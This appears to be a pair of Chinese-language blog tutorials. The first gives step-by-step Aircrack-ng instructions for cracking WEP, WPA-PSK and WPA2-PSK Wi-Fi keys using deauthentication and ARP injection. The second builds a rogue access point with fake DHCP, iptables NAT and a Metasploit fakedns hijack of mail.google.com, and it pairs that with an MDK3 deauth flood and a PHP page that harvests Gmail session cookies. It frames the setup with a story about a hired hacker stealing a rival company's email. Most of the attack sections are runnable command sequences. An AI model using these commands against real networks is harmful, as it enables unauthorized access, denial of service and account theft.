◆什么是Aircrack-ng
Aircrack-ng是一款用于破解无线802.11WEP及WPA-PSK加密的工具,该工具在2005年11月之前名字是Aircrack,在其2.41版本之后才改名为Aircrack-ng。
Aircrack-ng主要使用了两种攻击方式进行WEP破解:一种是FMS攻击,该攻击方式是以发现该WEP漏洞的研究人员名字(Scott Fluhrer、Itsik Mantin及Adi Shamir)所命名;另一种是KoreK攻击,经统计,该攻击方式的攻击效率要远高于FMS攻击。当然,最新的版本又集成了更多种类型的攻击方式。对于无线黑客而言,Aircrack-ng是一款必不可缺的无线攻击工具,可以说很大一部分无线攻击都依赖于它来完成;而对于无线安全人员而言,Aircrack-ng也是一款必备的无线安全检测工具,它可以帮助管理员进行无线网络密码的脆弱性检查及了解无线网络信号的分布情况,非常适合对企业进行无线安全审计时使用。
Aircrack-ng(注意大小写)是一个包含了多款工具的无线攻击审计套装,这里面很多工具在后面的内容中都会用到,具体见下表1为Aircrack-ng包含的组件具体列表。
表1
Aircrack-ng在 BackTrack4 R2下已经内置(下载BackTrack4 R2),具体调用方法如下图2所示:通过依次选择菜单中“Backtrack”—“Radio Network Analysis” —“80211”—“Cracking”—“Aircrack-ng ”,即可打开Aircrack-ng的主程序界面。也可以直接打开一个Shell,在里面直接输入aircrack-ng命令回车也能看到aircrack-ng的使用参数帮助。
图2
◆使用Aircrack-ng破解WEP加密无线网络
首先讲述破解采用WEP加密内容,启用此类型加密的无线网络往往已被列出严重不安全的网络环境之一。而Aircrack-ng正是破解此类加密的强力武器中的首选,关于使用Aircrack-ng套装破解WEP加密的具体步骤如下。
步骤1:载入无线网卡。
其实很多新人们老是在开始载入网卡的时候出现一些疑惑,所以我们就把这个基本的操作仔细看看。首先查看当前已经载入的网卡有哪些,输入命令如下:
ifconfig
回车后可以看到如下图3所示内容,我们可以看到这里面除了eth0之外,并没有无线网卡。
图3
确保已经正确插入USB或者PCMCIA型无线网卡,此时,为了查看无线网卡是否已经正确连接至系统,应输入:
ifconfig -a
参数解释:
-a 显示主机所有网络接口的情况。和单纯的ifconfig命令不同,加上-a参数后可以看到所有连接至当前系统网络接口的适配器。
如下图4所示,我们可以看到和上图3相比,出现了名为wlan0的无线网卡,这说明无线网卡已经被BackTrack4 R2 Linux识别。
图4
既然已经识别出来了,那么接下来就可以激活无线网卡了。说明一下,无论是有线还是无线网络适配器,都需要激活,否则是无法使用滴。这步就相当于Windows下将“本地连接”启用一样,不启用的连接是无法使用的。
在上图4中可以看到,出现了名为wlan0的无线网卡,OK,下面输入:
ifconfig wlan0 up
参数解释:
up 用于加载网卡的,这里我们来将已经插入到笔记本的无线网卡载入驱动。在载入完毕后,我们可以再次使用ifconfig进行确认。如下图5所示,此时,系统已经正确识别出无线网卡了。
图5
当然,通过输入iwconfig查看也是可以滴。这个命令专用于查看无线网卡,不像ifconfig那样查看所有适配器。
iwconfig
该命令在Linux下用于查看有无无线网卡以及当前无线网卡状态。如下图6所示。
图6
步骤2:激活无线网卡至monitor即监听模式。
对于很多小黑来说,应该都用过各式各样的嗅探工具来抓取密码之类的数据报文。那么,大家也都知道,用于嗅探的网卡是一定要处于monitor监听模式地。对于无线网络的嗅探也是一样。
在Linux下,我们使用Aircrack-ng套装里的airmon-ng工具来实现,具体命令如下:
airmon-ng start wlan0
参数解释:
start 后跟无线网卡设备名称,此处参考前面ifconfig显示的无线网卡名称;
如下图7所示,我们可以看到无线网卡的芯片及驱动类型,在Chipset芯片类型上标明是Ralink 2573芯片,默认驱动为rt73usb,显示为“monitor mode enabled on mon0”,即已启动监听模式,监听模式下适配器名称变更为mon0。
图7
步骤3:探测无线网络,抓取无线数据包。
在激活无线网卡后,我们就可以开启无线数据包抓包工具了,这里我们使用Aircrack-ng套装里的airmon-ng工具来实现,具体命令如下:
不过在正式抓包之前,一般都是先进行预来探测,来获取当前无线网络概况,包括AP的SSID、MAC地址、工作频道、无线客户端MAC及数量等。只需打开一个Shell,输入具体命令如下:
airodump-ng mon0
参数解释:
mon0为之前已经载入并激活监听模式的无线网卡。如下图8所示。
图8
回车后,就能看到类似于下图9所示,这里我们就直接锁定目标是SSID为“TP-LINK”的AP,其BSSID(MAC)为“00:19:E0:EB:33:66”,工作频道为6,已连接的无线客户端MAC为“00:1F:38:C9:71:71”。
图9
既然我们看到了本次测试要攻击的目标,就是那个SSID名为TP-LINK的无线路由器,接下来输入命令如下:
airodump-ng --ivs –w longas -c 6 wlan0
参数解释:
--ivs 这里的设置是通过设置过滤,不再将所有无线数据保存,而只是保存可用于破解的IVS数据报文,这样可以有效地缩减保存的数据包大小;
-c 这里我们设置目标AP的工作频道,通过刚才的观察,我们要进行攻击测试的无线路由器工作频道为6;
-w 后跟要保存的文件名,这里w就是“write写”的意思,所以输入自己希望保持的文件名,如下图10所示我这里就写为longas。那么,小黑们一定要注意的是:这里我们虽然设置保存的文件名是longas,但是生成的文件却不是longase.ivs,而是longas-01.ivs。
图10
在回车后,就可以看到如下图11所示的界面,这表示着无线数据包抓取的开始。
图11
步骤4:对目标AP使用ArpRequest注入攻击
若连接着该无线路由器/AP的无线客户端正在进行大流量的交互,比如使用迅雷、电骡进行大文件下载等,则可以依靠单纯的抓包就可以破解出WEP密码。但是无线黑客们觉得这样的等待有时候过于漫长,于是就采用了一种称之为“ARP Request”的方式来读取ARP请求报文,并伪造报文再次重发出去,以便刺激AP产生更多的数据包,从而加快破解过程,这种方法就称之为ArpRequest注入攻击。具体输入命令如下:
aireplay-ng -3 -b AP的mac -h 客户端的mac mon0
参数解释:
-3 指采用ARPRequesr注入攻击模式;
-b 后跟AP的MAC地址,这里就是前面我们探测到的SSID为TPLINK的AP的MAC;
-h 后跟客户端的MAC地址,也就是我们前面探测到的有效无线客户端的MAC;
最后跟上无线网卡的名称,这里就是mon0啦。
回车后将会看到如下图12所示的读取无线数据报文,从中获取ARP报文的情况出现。
图12
在等待片刻之后,一旦成功截获到ARP请求报文,我们将会看到如下图13所示的大量ARP报文快速交互的情况出现。
图13
此时回到airodump-ng的界面查看,在下图14中我们可以看到,作为TP-LINK的packets栏的数字在飞速递增。
图14
步骤5:打开aircrack-ng,开始破解WEP。
在抓取的无线数据报文达到了一定数量后,一般都是指IVs值达到2万以上时,就可以开始破解,若不能成功就等待数据报文的继续抓取然后多试几次。注意,此处不需要将进行注入攻击的Shell关闭,而是另外开一个Shell进行同步破解。输入命令如下:
aircrack-ng 捕获的ivs文件
关于IVs的值数量,我们可以从如下图15所示的界面中看到,当前已经接受到的IVs已经达到了1万5千以上,aircrack-ng已经尝试了41万个组合。
图15
那么经过很短时间的破解后,就可以看到如下图16中出现“KEY FOUND”的提示,紧跟后面的是16进制形式,再后面的ASCII部分就是密码啦,此时便可以使用该密码来连接目标AP了。 一般来说,破解64位的WEP至少需要1万IVs以上,但若是要确保破解的成功,应捕获尽可能多的IVs数据。比如下图16所示的高强度复杂密码破解成功依赖于8万多捕获的IVs。
图16
图17
看到这里,可能有的朋友会说,这些都是弱密码(就是过于简单的密码),所以才这么容易破解,大不了我用更复杂点的密码总可以了吧,比如×#87G之类的,即使是采用更为复杂的密码,这样真的就安全了吗?嘿嘿,那就看看下图18中显示的密码吧:)
图18
正如你所看到的,在上图18中白框处破解出来的密码已经是足够复杂的密码了吧?我们放大看一看,如下图19所示,这样采用了大写字母、小写字母、数字和特殊符号的长达13位的WEP密码,在获得了足够多的IVs后,破解出来只花费了约4秒钟!
图19
现在,你还认为自己的无线网络安全么?哈,这还只是个开始,我们接着往下看。
补充一下:
若希望捕获数据包时,能够不但是捕获包括IVS的内容,而是捕获所有的无线数据包,也可以在事后分析,那么可以使用如下命令:
airodump-ng –w longas -c 6 wlan0
就是说,不再--ivs过滤,而是全部捕获,这样的话,捕获的数据包将不再是longas-01.ivs,而是longas-01.cap,请大家注意。命令如下图20所示。
图20
同样地,在破解的时候,对象也变成了longas-*.cap。命令如下:
aircrack-ng 捕获的cap文件
回车后如下图21所示,一样破解出了密码。
图21
可能有的朋友又要问,ivs和cap直接的区别到底在哪儿呢?其实很简单,若只是为了破解的话,建议保存为ivs,优点是生成文件小且效率高。若是为了破解后同时来对捕获的无线数据包分析的话,就选为cap,这样就能及时作出分析,比如内网IP地址、密码等,当然,缺点就是文件会比较大,若是在一个复杂无线网络环境的话,短短20分钟,也有可能使得捕获的数据包大小超过200MB。
如下图22所示,我们使用du命令来比较上面破解所捕获的文件大小。可以看到,longas-01.ivs只有3088KB,也就算是3MB,但是longas-02.cap则达到了22728KB,达到了20MB左右!!
图22
◆使用Aircrack-ng破解WPA-PSK加密无线网络
结合上小节的内容,下面继续是以BackTrack4 R2 Linux为环境,讲述破解WPA-PSK加密无线网络的具体步骤,详细如下。
步骤1:升级Aircrack-ng。
前面在第一章1.3节我们已经讲述了升级Aircrack-ng套装的详细步骤,这里也是一样,若条件允许,应将Aircrack-ng升级到最新的Aircrack-ng 1.1版。由于前面我已经给出了详细的步骤,这里就不再重复。
除此之外,为了更好地识别出无线网络设备及环境,最好对airodump-ng的OUI库进行升级,先进入到Aircrack-ng的安装目录下,然后输入命令如下:
airodump-ng-oui-update
回车后,就能看到如下图23所示的开始下载的提示,稍等一会儿,这个时间会比较长,恩,建议预先升级,不要临阵磨枪。
图23
步骤2:载入并激活无线网卡至monitor即监听模式。
在进入BackTrack4 R2系统后,载入无线网卡的顺序及命令部分,依次输入下述命令:
startx 进入到图形界面
ifconfig –a 查看无线网卡状态
ifconfig wlan0 up 载入无线网卡驱动
airmon-ng start wlan0 激活网卡到monitor模式
如下图24所示,我们可以看到无线网卡的芯片及驱动类型,在Chipset芯片类型上标明是Ralink 2573芯片,默认驱动为rt73usb,显示为“monitor mode enabled on mon0”,即已启动监听模式,监听模式下适配器名称变更为mon0。
图24
步骤3:探测无线网络,抓取无线数据包。
在激活无线网卡后,我们就可以开启无线数据包抓包工具了,这里我们使用Aircrack-ng套装里的airodump-ng工具来实现,具体命令如下:
airodump-ng -c 6 –w longas mon0
参数解释:
-c 这里我们设置目标AP的工作频道,通过观察,我们要进行攻击测试的无线路由器工作频道为6;
-w 后跟要保存的文件名,这里w就是“write写”的意思,所以输入自己希望保持的文件名,这里我就写为longas。那么,小黑们一定要注意的是:这里我们虽然设置保存的文件名是longas,但是生成的文件却不是longas.cap,而是longas-01.cap。
mon0 为之前已经载入并激活监听模式的无线网卡。如下图25所示。
在回车后,就可以看到如下图25所示的界面,这表示着无线数据包抓取的开始。接下来保持这个窗口不动,注意,不要把它关闭了。另外打开一个Shell。进行后面的内容。
图25
步骤4:进行Deauth攻击加速破解过程。
和破解WEP时不同,这里为了获得破解所需的WPA-PSK握手验证的整个完整数据包,无线黑客们将会发送一种称之为“Deauth”的数据包来将已经连接至无线路由器的合法无线客户端强制断开,此时,客户端就会自动重新连接无线路由器,黑客们也就有机会捕获到包含WPA-PSK握手验证的完整数据包了。此处具体输入命令如下:
aireplay-ng -0 1 –a AP的mac -c 客户端的mac wlan0
参数解释:
-0 采用deauth攻击模式,后面跟上攻击次数,这里我设置为1,大家可以根据实际情况设置为10不等;
-a 后跟AP的MAC地址;
-c 后跟客户端的MAC地址;
回车后将会看到如下图26所示的deauth报文发送的显示。
图26
此时回到airodump-ng的界面查看,在下图27中我们可以看到在右上角出现了“WPA handshake”的提示,这表示获得到了包含WPA-PSK密码的4此握手数据报文,至于后面是目标AP的MAC,这里的AP指的就是要破解的无线路由器。
图27
若我们没有在airodump-ng工作的界面上看到上面的提示,那么可以增加Deauth的发送数量,再一次对目标AP进行攻击。比如将-0参数后的数值改为10。如下图28所示。
图28
步骤5:开始破解WPA-PSK。
在成功获取到无线WPA-PSK验证数据报文后,就可以开始破解,输入命令如下:
aircrack-ng -w dic 捕获的cap文件
参数解释:
-w 后跟预先制作的字典,这里是BT4下默认携带的字典。
在回车后,若捕获数据中包含了多个无线网络的数据,也就是能看到多个SSID出现的情况。这就意味着其它AP的无线数据皆因为工作在同一频道而被同时截获到,由于数量很少所以对于破解来说没有意义。此处输入正确的选项即对应目标AP的MAC值,回车后即可开始破解。如下图29所示为命令输入情况。
图29
由下图30可以看到,在双核T7100的主频+4GB内存下破解速度达到近450k/s,即每秒钟尝试450个密码。
图30
经过不到1分多钟的等待,我们成功破解出了密码。如下图31所示,在“KEY FOUND”提示的右侧,可以看到密码已被破解出。密码明文为“longaslast”,破解速度约为450 key/s。若是能换成4核CPU的话,还能更快一些。
图31
◆使用Aircrack-ng破解WPA2-PSK加密无线网络
对于启用WPA2-PSK加密的无线网络,其攻击和破解步骤及工具是完全一样的,不同的是,在使用airodump-ng进行无线探测的界面上,会提示为WPA CCMP PSK。如下图32所示。
图32
当我们使用aireplay-ng进行deauth攻击后,同样可以获得到WPA握手数据包及提示,如下图33所示。
图33
同样地,使用aircrack-ng进行破解,命令如下:
aircrack-ng -w dic 捕获的cap文件
参数解释:
-w 后跟预先制作的字典文件
经过1分多钟的等待,可以在下图34中看到提示:“KEY FOUND!”后面即为WPA2-PSK连接密码19890305。
图34
现在,看明白了吧?破解WPA-PSK对硬件要求及字典要求很高,所以只要你多准备一些常用的字典比如生日、8位数字等,这样破解的时候也会增大破解的成功率。
◆使用Aircrack-ng进行无线破解的常见问题
恩,下面使一些初学无线安全的小黑们在攻击中可能遇到的问题,列举出来方便有朋友对号入座:
1.我的无线网卡为何无法识别?
答:BT4支持的无线网卡有很多,比如对采用Atheros、Prism2和Ralink芯片的无线网卡,无论是PCMCIA还是PCI,亦或是USB的,支持性还是很高的。要注意BT4也不是所有符合芯片要求的无线网卡都支持的,有些同型号的但是硬件固件版本不同就不可以,具体可以参考Aircrack-ng官方网站的说明。
2.为什么我输入的命令老是提示错误?
答:呃……没什么说的,兄弟,注意大小写和路径吧。
3.为什么使用airodump-ng进行的的ArpRequest注入攻击包时,速度很缓慢??
答:原因主要有两个:
(1.是可能该无线网卡对这些无线工具的支持性不好,比如很多笔记本自带的无线网卡支持性就不好;
(2.是若只是在本地搭建的实验环境的话,会因为客户端与AP交互过少,而出现ARP注入攻击缓慢的情况,但若是个客户端很多的环境,比如商业繁华区或者大学科技楼,很多用户在使用无线网络进行上网,则攻击效果会很显著,最短5分钟即可破解WEP。
4.为什么使用aireplay-ng发送的Deauth攻击包后没有获取到WPA握手包?
答:原因主要有两个:
(1.是可能该无线网卡对这些无线工具的支持性不好,需要额外的驱动支持;
(2.是无线接入点自身问题,有的AP在遭受攻击后会短时间内失去响应,需重起或等待片刻才可恢复正常工作状态。
5.为什么我找不到捕获的cap文件?
答:其实这是件很抓狂的问题,虽然在前面使用airodump-ng时提到文件保存的时候,我已经说明默认会保存为“文件名-01.cap”这样的方式,但是依旧会有很多由于过于兴奋导致眼神不济的小黑们抱怨找不到破解文件。
好吧,我再举个例子,比如最初捕获时我们命名为longas或者longas.cap,但在aircrack-ng攻击载入时使用ls命令察看,就会发现该文件已变成了longas-01.cap,此时,将要破解的文件改为此即可进行破解。若捕获文件较多,需要将其合并起来破解的话,就是用类似于“longas*.cap”这样的名字来指代全部的cap文件。这里*指代-01、-02等文件。
6.Linux下捕获的WPA握手文件是否可以放到Windows下破解?
答:这个是可以的,不但可以导入windows下shell版本的aircrack-ng破解,还可以导入Cain等工具进行破解。关于Windows下的破解我已在《无线黑客傻瓜书》里做了详细的阐述,这里就不讲述和BT4无关的内容了。
==============================================
有了之前学习802.11的数据帧格式、芯片硬件参数学习的基础后,我们接下来继续学习无线安全中黑客是怎样进行流量劫持攻击的
相关学习资料
http://www.freebuf.com/articles/5448.html http://www.freebuf.com/articles/wireless/5351.html http://tankaiha.blog.51cto.com/8553228/1384460 http://zh.wikipedia.org/wiki/Aircrack-NG http://www.exploit-db.com/wp-content/themes/exploit/docs/20875.pdf http://xiao106347.blog.163.com/blog/static/215992078201425920197/ http://www.metsky.com/archives/561.htm
目录
1. 攻击发生的场景、攻击方式思路分析2. 攻击技术原理分析 2.1 伪AP原理 2.2 DHCP配置 2.3 DNS配置 2.4 Deauth/DOS拒绝服务攻击 2.5 XSS中的同源策略 3. 攻击重现实验
1. 攻击发生的场景、攻击方式思路分析
从本质上来说,内网的流量劫持并不是一个新的攻击技术,网上有很多关于内网ARP欺骗、IP Spoling、DNS Poison投毒的优秀文章。与此同时,我们也应该认识到,安全技术是一个不断更替、演进的过程,随着新的技术、新的使用方式的出现,原有的安全问题会通过组合衍生出新的攻击姿势,我们今天要讨论的无线安全就是如此,在Wireless这个前提下,内网的攻击能够变得更加有效、隐蔽(当然是对黑客来说)。
我们来思考下面这个虚构的故事(纯属YY):
小红是一家公司的老板助理,日常主要做的事就是帮助老板协调项目合同、以及发送招标文件。小黑是一个雇佣黑客,他受雇于A公司的一家对手B公司,他的任务就是窃取A公司的机密邮件以获取A公司的决策动态。在接到B公司发来的前期定金之后,小黑立刻着手开始社工A公司,目标当然就是小红,通过一番前期踩点、渗透之后,小黑得到了如下的信息:1) 公司A在整个公司园区部署了无线AP,并对公司内外人员进行了物理隔离,公司内部人员需要通过员工帐号、密码连接A-INT的内网AP,而非公司员工的来访者只能连接A-OUT,这两个网络不属小黑想出了一个攻击方案,需要综合利用几种技术
伪AP+伪DHCP+伪DNS+钓鱼页面(XSS攻击)+获取GMAIL Cookie1. 首先,黑客通过Deauth/Disassociation攻击,强制目标用户和原始AP断开连接,通过设置伪AP,尝试让目标用户连接到攻击者的伪AP上2. 目标用户重连之后,会尝试重新获取IP,即发送DHCP数据包(DHCP lease(DHCP租约)认证),当客户端在向DHCP服务器进行租约申请的时候,会采用DHCP服务器发回来的DNS服务器IP地址作以上就是基本的思路分析,我们接下来我逐一学习本次攻击中需要涉及到的协议格式、技术原理
2. 攻击技术原理分析
0x1: 伪AP
要实现伪AP,我们首先得明白真实的原始AP的工作方式,我们之所以在宽带连接中能看到这么多的Wi-Fi列表,就是因为我们的附近的AP(或者叫wifi热点)在不断地发送Beacon信标帧(管理帧的一种)
这个信标帧主要传递了以下几个信息:
1. DA(Destination Address): 这个值总是为FF:FF:FF:FF:FF:FF,即通过广播方式发送Beacon信标帧2. SA(Source Address): 发送者的MAC地址,因为是AP发送的,所以即AP的MAC地址3. BSSID: AP的MAC地址 4. SSID(Service Set Identity): 服务集标识,即我们看到的Wifi名称5. 加密方式: OPEN、WEP、WPA、WPA2、CCMP、TKIP6. 工作频道: 支持的工作频道(1~13)7. 工作模式: 支持的工作模式(802.11 b、802.11 g、802.11 n)只要这些维度的参数都能和原始AP相同、或兼容,则我们的伪AP就能和原始AP一样发挥作用,接受来自目标客户端的连接,从而劫持流量。
关于Beacon信标帧的格式,请参阅:
http://www.cnblogs.com/LittleHann/p/3700357.html
使用airbase-ng这款工具可以帮助我们建立Soft AP(伪AP),airbase-ng的使用参数如下:
Options: -a bssid: set Access Point MAC address //设置AP的MAC地址 -i iface: capture packets fromthisinterface//从指定接口抓取数据包(默认和数据包发送的口是同一个接口) -w WEP key: use this WEP key to en-/decrypt packets //使用指定WEP密钥进行加密/解密数据包(用于设置WEP的加密参数) -h MAC: source mac for MITM mode //MITM模式使用的源MAC地址 -f disallow: disallow specified client MACs (default: allow) //不允许指定客户端MAC地址(缺省:允许) -W 0|1: [don't] set WEP flag in beacons 0|1 (default: auto) //[不要]设置WEP标志在信标0|1(缺省:默认不开启WEP,即默认是OPEN模式) -q: quiet(do not print statistics) //安静模式(不要打印统计信息) -v: verbose(print more messages) //冗长模式(打印更多信息) -A: Ad-Hoc Mode(allows other clients to peer) //Ad-Hoc模式(允许其他客户端处于同等级) -Y in|out|both: external packet processing //外部数据包处理 -c channel: sets the channel the AP is running on //设置AP运行在的信道 -X: hidden ESSID //隐藏ESSID -s: force shared key authentication (default: auto) //强制使用共享密钥验证(缺省:自动,即默认设置的伪AP是WPA模式的) -S: set shared key challenge length (default: 128) //设置共享密钥挑战长度(缺省:128) -L: Caffe-Latte WEP attack (use if driver can't send frags) //Caffe-LatteWEP攻击(当不能发送碎片时) -N: cfrag WEP attack (recommended) //cfragWEP攻击(推荐) -x nbpps: number of packets per second (default: 100) //每秒发送数据包个数(缺省:100) -y: disables responses to broadcast probes //取消对广播探查的响应(即对Prob Requst Broacast的数据包予以忽略) -0: set all WPA,WEP,open tags. can't be used with -z & -Z //设置所有WPA,WEP,OPN标记,不能与-z同时用 -z type: sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104 //设置WPA1标记. -Z type: same as -z, but for WPA2 //与-z一样,但是用于WPA2 -V type: fake EAPOL 1=MD5 2=SHA1 3=auto //伪装EAPOL(局域网扩展验证协议) -F prefix: write all sent and received frames into pcap file //将所有发送和接受的帧写入pcap文件(这个很重要,它用来记录我们的捕获信息) -P: respond to all probes, even when specifying ESSIDs //响应所有探查,即使指定了ESSID -I interval: sets the beacon interval value in ms //设置信标时间间隔,单位毫秒 -C seconds: enables beaconing of probed ESSID values (requires -P) //允许探查信标的ESSID值(要求-P参数) Filter options: --bssid MAC: BSSID to filter/use //过滤/使用的BSSID --bssids file: read a list of BSSIDs out of that file //从指定文件读取BSSID的清单 --client MAC: MAC of client to filter //客户端的MAC地址用以过滤 --clients file: read a list of MACs out of that file //从指定文件读取客户端MAC地址清单 --essid ESSID: specify a single ESSID (default: default) //指定一个ESSID(缺省值:default) --essids file: read a list of ESSIDs out of that file //从指定文件读取指定的ESSID清单ifconfig -a 查看当前网卡情况ifconfig wlan1 up 激活你的无线网卡airmon-ng start wlan1 将你的无线网卡开启"Monitor"模式airbase-ng mon0 -e "AirJJ" -c 6
注意到我们已经成功模拟了一个伪AP,但是这个伪AP和原始AP的各项参数还不是很一致,我们需要通过对目标AP进行信息收集,为我们的伪AP设置更高程度的仿真,这并不是很难,比起这个问题,我们当前需要首先解决的一个问题是: DHCP。实验中可以发现,我们的客户端即使已经连接上我们的伪AP之后,也会一直显示在"获取IP中..."(无法正常获取到IP),所以,我们还需要对我们的伪AP架设一个伪DHCP服务器
0x2: DHCP配置
限于篇幅原因,我将DHCP的配置、原理分析单独放到了另一篇文章中
http://www.cnblogs.com/LittleHann/p/3705263.html
我们的伪DHCP服务和伪AP是搭建在同一个服务器上,在配置伪DHCP的时候,我们需要注意以下几点:
1. 客户端在连接上我们的伪AP之后,我们需要给它分配IP地址2. DHCP配置文件中的DNS服务器IP要设置成我们的伪DNS地址3. DHCP配置文件中的默认网关地址要设置成我们的伪AP的IP地址,将目标客户端的所有流量都劫持到我们的伪AP上,之后再通过iptables将流量导出到外网出口eth02. SoftAP的IP地址和Internet接口的IP地址不能在网一个段(这里将伪AP的IP设置为10.0.0.1)
我们手工搭建一个DHCP服务器
#将网卡设置为静态IP
vim /etc/network/interfacesauto eth0#iface eth0 inet dhcpiface eth0 inet staticaddress 192.168.159.254gateway 192.168.159.2netmask 255.255.255.0ifdown eth0 ifup eth0 vim /etc/resolv.confnameserver 192.168.159.2#domain LittleHann.com#search LittleHann.com#安装DHCP服务
apt-get -y install dhcp3-server安装过程中遇到错误: Errors were encountered while processing: se-toolkit w3af E: Sub-process /usr/bin/dpkg returned an error code (1)解决方案http://blog.csdn.net/wzgl573537270/article/details/22001723 vim /etc/default/dhcp3-serverINTERFACES="at0"#启动伪AP,激活at0网口
在启动DHCP之前,要先启动伪AP,激活at0网口ifconfig wlan1 upairmon-ng start wlan1airbase-ng mon0 -e "AirJJ" -c 1
#启动DHCP服务
这里要重点关注的是网关(option routers 10.0.0.1)的设置,我们的伪AP的IP地址也要设置成同样的IP地址,即达到劫持流量的目的ifconfig at0 upifconfig at0 10.0.0.1 netmask 255.255.255.0ifconfig at0 mtu 1500route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 /etc/init.d/dhcp3-server restart/etc/init.d/dhcp3-server startDHCP服务器工作正常
用android手机连接上这个伪AP,可以看到,IP获取正常
0x3: Iptables流量牵引
我们目前通过伪AP、以及伪DHCP的架设,将目标客户端的流量都劫持到了我们的无线虚拟网卡at0上,要保证用户能正常上网,还需要使用Iptables做一次流量牵引,将at0上的流量NAT到真正的出口网卡eth0上,这样才算真正的伪AP(目标客户端还能正常上网、不会察觉有异常)
#利用iptable的路由点Hook功能,将at0(伪AP)上的流量和网口(eth0)做一个NAT,将流量牵引出去iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT --to-source 192.168.159.254iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT --to 10.0.0.100
关于Iptables的原理、以及使用方式,请参阅我的另一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
0x4: DNS配置
我们在DHCP服务器的配置文件中指定客户端的默认DNS为伪AP所在的本机(10.0.0.1)
所以,我们必须在10.0.0.1上架设一个DNS服务器,将客户端的DNS解析请求劫持到我们的的phning page(钓鱼页面)上
msf集成了一个模块,用于模拟一个DNS服务器
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/server/fakedns.rbhttp://tools.pentester.es/fakednshttp://www.digininja.org/metasploit/dns_dhcp.php
配置方法如下:
use auxiliary/server/fakednsshow optionsset TARGETACTION FAKEset TARGETDOMAIN mail.google.comset TARGETHOST 10.0.0.1run从配置文件中我们可以看到,我们将mail.google.com(Gmail邮箱)的域名劫持到了10.0.0.1(本机上)
要注意的是:
1. fakedns这个msf模块只会劫持我们设置的域名,在本例中是mail.google.com2. 对于其他的非目标域名(即不是mail.google.com的域名)则采取转发的方式,即走本机正常的DNS解析流程,即保证目标客户端的正常上网
客户端连接上我们的伪AP后,访问www.sina.cn是正常的
0x5: XSS中的同源策略
我们已经将用户访问mail.google.com的流量劫持到了我们的钓鱼页面
客户端连接上我们的伪AP后,访问mail.google.com,DNS服务器会返回10.0.0.1的IP地址,即会被劫持到我们的钓鱼页面,而在我们的钓鱼页面,我们就可以使用XSS攻击来获取目标客户端的Cookie信息,因为目标客户端的浏览器访问的是https://mail.google.com,所以根据同源策略,浏览器会把和mail.google.com这个域有关的cookie一起发送给服务器端(也就是我们的10.0.0.1机器),这样,就利用同源策略帮助我们偷取客户端的cookie。
因为是GMAIL是https连接,所以我们的钓鱼页面也是https连接,我们需要对我们的钓鱼页面所在的apache配置一下SSLhttp://man.ddvip.com/linux/debian/apache2/debian-apache2-7.html
为了说明原理,我们的钓鱼页面可以这样简单的code一下
"; $cookie = $_COOKIE; foreach ($cookie as $key => $value) { $res .= $key . "=" . $value . ";"; } echo $res;?>可以看到,劫持前,用户正在正常的访问GMAIL邮箱
我们启动伪AP、伪DHCP、伪DNS模块后,将用户的gmail流量劫持到了我们的钓鱼页面上,并打印出cookie
获取cookie成功,接下来就可以进行XSS攻击了,直接用cookie免登录
0x5: Deauth/DOS拒绝服务攻击
至此,我们已经理清了一个伪AP钓鱼劫持的攻击过程中涉及到的技术,但是,还有最后一个技术问题需要我们解决,我们创建的伪AP需要目标用户的"主动连接",才能劫持流量,进行DNS钓鱼。但是,在真实场景中,用户一般不会去连接一个不熟悉的AP的,所以,我们还需要一种技术,能将用户和原始AP的连接强制断开,强制它连接到我们的伪AP上,而且要保证这个过程不引起用户的察觉
这里我们使用无线DOS工具MDK3,它能够发起如下攻击:
1. Beacon Flood Mode我们知道,Beacon(管理帧)是AP发出来的,用来通知客户端当前AP的存在,这个模式可以产生大量死亡SSID(永远不会有响应的SSID)来充斥无线客户端的无线列表,从而扰乱无线使用者mdk3 mon0 b -f /pentest/passwords/wordlists/rockyou.txt -t -c 1 -s 802. Authentication DoSAuthentication(管理帧)是客户端和AP进行身份认证时发送的数据帧。这是一种验证请求攻击模式:在这个模式里,软件自动模拟随机产生的mac向目标AP发起大量验证请求,可以导致AP忙于处
3. 攻击重现实验
至此,我们已经解决了这个攻击姿势中所涉及到的所有技术难点,我们来从头梳理、重现一遍这整个攻击过程
开启无线网卡的Monitor模式
ifconfig -aifconfig wlan1 upairmon-ng start wlan1
探测目标客户端所连接的AP,为伪AP的架设作准备
airodump-ng mon0
我们了解到以下信息
1. SSID(WiFi名称): AirJ2. 加密方式: OPEN3. 信道: 1
启动伪AP
airbase-ng mon0 -e "AirJ" -c 1
启动DHCP
ifconfig at0 upifconfig at0 10.0.0.1 netmask 255.255.255.0ifconfig at0 mtu 1500route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 /etc/init.d/dhcp3-server startIptables流量牵引
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j SNAT --to-source 192.168.159.254
iptables -t nat -A PREROUTING -d 192.168.159.254 -i eth0 -j DNAT --to 10.0.0.100
启动DNS
msfconsoleuse auxiliary/server/fakednsshow optionsset TARGETACTION FAKEset TARGETDOMAIN mail.google.comset TARGETHOST 10.0.0.1run使用MDK将客户端强制踢下线,迫使其连接到我们的伪AP上
mdk3 mon0 d -s 120 -c 1,6,11
劫持成功
等待客户端访问GMAIL,对其发送DNS+XSS钓鱼攻击
成功获取到客户端的cookie数据
4. 后记
除了使用DNS+XSS钓鱼攻击之外,基于伪AP的攻击还可以是SSL中间人劫持方向的
http://www.freebuf.com/articles/web/5636.html http://www.freebuf.com/tools/10530.html http://www.freebuf.com/articles/web/5929.html http://www.freebuf.com/articles/network/29288.html
==============================================